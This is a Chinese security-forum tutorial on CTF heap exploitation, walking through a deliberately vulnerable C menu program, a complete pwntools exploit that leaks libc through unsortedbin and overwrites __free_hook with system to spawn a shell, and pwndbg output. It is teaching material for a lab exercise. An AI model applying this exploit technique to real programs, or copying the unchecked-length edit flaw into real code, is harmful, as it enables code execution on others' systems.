安全矩阵

 找回密码
 立即注册
搜索
查看: 308|回复: 0

对堆题的总体思路

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-22 20:54:40 | 显示全部楼层 |阅读模式
文章链接:对堆题的总体思路


浅说一下pwn堆并用一个简单的例子具体说明
给刚入坑堆的小朋友说的一些思路

说一下堆是什么
堆你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据

那么这块用来存储数据的内存就是堆。

结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。

说一下堆的理解
堆有很多题型 什么堆溢出,off by null , uaf 等。

核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程,

比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。

堆的话也是一样。

就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。

所以堆到底要怎么去执行。

我们可以把某一个函数的内容改成system,下次调用该函数即是使用system,

再在别的堆里面放入/bin/sh字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。

即可执行system(/bin/sh)了

一般修改__free_hook,使其内容变成system然后再free掉放有/bin/sh的堆

举例说明
我用一个很简单的例子去一步一步简单剖析。

这里我用一个很简单的例子去一步一步简单剖析。

先给出源码和gcc编译,使用的是Ubuntu18

  1. gcc -o lizi lizi.c
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. char *heap[0x20];
  5. int num=0;
  6. void create()
  7. {
  8.     if(num>=0x20)
  9.     {
  10.         puts("no more");
  11.         return;
  12.     }
  13.     int size;
  14.     puts("how big");
  15.     scanf("%d",&size);
  16.     heap[num]=(char *)malloc(size);
  17.     num++;
  18. }
  19. void show(){
  20.   int idx;
  21.   char buf[4];
  22.   puts("idx");
  23.     (read(0, buf, 4));
  24.     idx = atoi(buf);
  25.   if (!heap[idx]) {
  26.     puts("no have things\n");
  27.   } else {
  28.     printf("Content:");
  29.     printf("%s",heap[idx]);
  30.   }
  31. }
  32. void dele()
  33. {
  34.   int idx;
  35.   char buf[4];
  36.   puts("idx");
  37.     (read(0, buf, 4));
  38.     idx = atoi(buf);
  39.   if (!heap[idx]) {
  40.     puts("no have things\n");
  41.   } else {
  42.       free(heap[idx]);
  43.       heap[idx]=NULL;
  44.       num--;
  45.   }
  46. }
  47. void edit()
  48. {
  49.   int size;
  50.   int idx;
  51.   char buf[4];
  52.   puts("idx");
  53.     (read(0, buf, 4));
  54.     idx = atoi(buf);
  55.   if (!heap[idx]) {
  56.     puts("no have things\n");
  57.   } else {
  58.       puts("how big u read");
  59.       scanf("%d",&size);
  60.       puts("Content:");
  61.       read(0,heap[idx],size);
  62.   }
  63. }
  64. void menu(void){
  65.     puts("1.create");
  66.     puts("2.dele");
  67.     puts("3.edit");
  68.     puts("4.show");
  69. }
  70. void main()
  71. {
  72.     int choice;
  73.     while(1)
  74.     {
  75.         menu();
  76.         scanf("%d",&choice);
  77.         switch(choice)
  78.         {
  79.             case 1:create();break;
  80.             case 2:dele();break;
  81.             case 3:edit();break;
  82.             case 4:show();break;
  83.             default:puts("error");
  84.         }
  85.     }
  86. }
复制代码

我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小,

而导致的堆溢出修改下一个堆。

我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆,

使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。

(具体请看unsortedbin介绍)

结合exp介绍:

  1. from pwn import *
  2. r=process('./lizi')
  3. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  4. context.log_level='debug'
  5. def add(size):
  6.     r.sendlineafter("4.show\n",'1')
  7.     r.sendlineafter("idx\n",str(size))

  8. def dele(idx):
  9.     r.sendlineafter("4.show\n",'2')
  10.     r.sendlineafter("idx\n",str(idx))

  11. def edit(idx,size,con):
  12.     r.sendlineafter("4.show\n",'3')
  13.     r.sendlineafter("idx\n",str(idx))
  14.     r.sendlineafter("how big u read\n",str(size))
  15.     r.sendafter("Content:\n",con)
  16. def show(idx):
  17.     r.sendlineafter("4.show\n",'4')
  18.     r.sendlineafter("idx\n",str(idx))

  19. add(0x420)
  20. add(0x420)
  21. add(0x420)
  22. dele(1)

  23. add(0x70)
  24. show(2)

  25. r.recvuntil("Content:")
  26. base=u64(r.recv(6)+'\x00'*2)-0x3ec090
  27. print(hex(base))
  28. free=base+libc.sym['__free_hook']
  29. sys=base+libc.sym['system']

  30. add(0x70)
  31. dele(3)

  32. edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))


  33. add(0x70)
  34. add(0x70)
  35. edit(3,0x10,"/bin/sh\x00")
  36. edit(4,0x10,p64(sys))
  37. dele(3)

  38. r.interactive()
复制代码

首先菜单不用多说,很简单的交互,写好就行

然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆

  1. unsortedbin
  2. all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0
复制代码


可以看到1号堆已经进入到unsortedbin了

然后申请一个小堆

  1. pwndbg> x/32gx 0x55697b2cfaa0
  2. 0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081
  3. 0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090
  4. 0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0
  5. 0x55697b2cfad0: 0x0000000000000000 0x0000000000000000
  6. 0x55697b2cfae0: 0x0000000000000000 0x0000000000000000
  7. 0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000
  8. 0x55697b2cfb00: 0x0000000000000000 0x0000000000000000
  9. 0x55697b2cfb10: 0x0000000000000000 0x0000000000000000
  10. 0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1
  11. 0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0
  12. 0x55697b2cfb40: 0x0000000000000000 0x0000000000000000
  13. 0x55697b2cfb50: 0x0000000000000000 0x0000000000000000
  14. 0x55697b2cfb60: 0x0000000000000000 0x0000000000000000
  15. 0x55697b2cfb70: 0x0000000000000000 0x0000000000000000
  16. 0x55697b2cfb80: 0x0000000000000000 0x0000000000000000
  17. 0x55697b2cfb90: 0x0000000000000000 0x0000000000000000
复制代码


查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割

然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。

算出system,__free_hook的libc,

接着为什么要多申请一个堆,这里就是堆溢出的打法了,

在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook地址

再把内容改成system就可以把free当做system用了;

在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点

GDB看看

  1. pwndbg> bin
  2. tcachebins
  3. 0x80 [  1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ...
  4. fastbins
  5. 0x20: 0x0
  6. 0x30: 0x0
  7. 0x40: 0x0
  8. 0x50: 0x0
  9. 0x60: 0x0
  10. 0x70: 0x0
  11. 0x80: 0x0
  12. unsortedbin
  13. all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0
  14. smallbins
  15. empty
  16. largebins
  17. empty
复制代码


会发现tcache里面已经有__free_hook了,因为已经把内容改成__free_hook的地址了。

然后申请2个堆,把tcache里面的__free_hook拿出来。

你也可以验证一下、

  1. pwndbg> vmmap
  2. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  3.     0x55f37bb59000     0x55f37bb5a000 r-xp     1000 0
  4. pwndbg> x/32gx 0x5597ecced000+0x202040
  5. 0x5597eceef040 <heap>: 0x00005597ee8ef680 0x0000000000000000
  6. 0x5597eceef050 <heap+16>: 0x00005597ee8efab0 0x00005597ee8efb30
  7. 0x5597eceef060 <heap+32>: 0x00007f7694f2e8e8 0x0000000000000000
  8. 0x5597eceef070 <heap+48>: 0x0000000000000000 0x0000000000000000
复制代码


0x202040是heap的偏移,可以从ida里面找到。

申请出来的堆,__free_hook在4号堆

  1. pwndbg> x/32gx 0x00007f7694f2e8e8
  2. 0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000
  3. 0x7f7694f2e8f8 <next_to_use>: 0x0000000000000000 0x0000000000000000
复制代码


成功证明,

然后已知4号堆是__free_hook了,那么将4号堆的内容改成system的地址,不就可以了吗

然后再把3号堆写入/bin/sh

然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh)了

成功取得shell

总结

做堆题主要是要有一个总体想法就是要把什么变成system去执行shell,或者也有别的,比如malloc,等
这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。



靶场实操:https://www.hetianlab.com/


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 17:35 , Processed in 0.015945 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表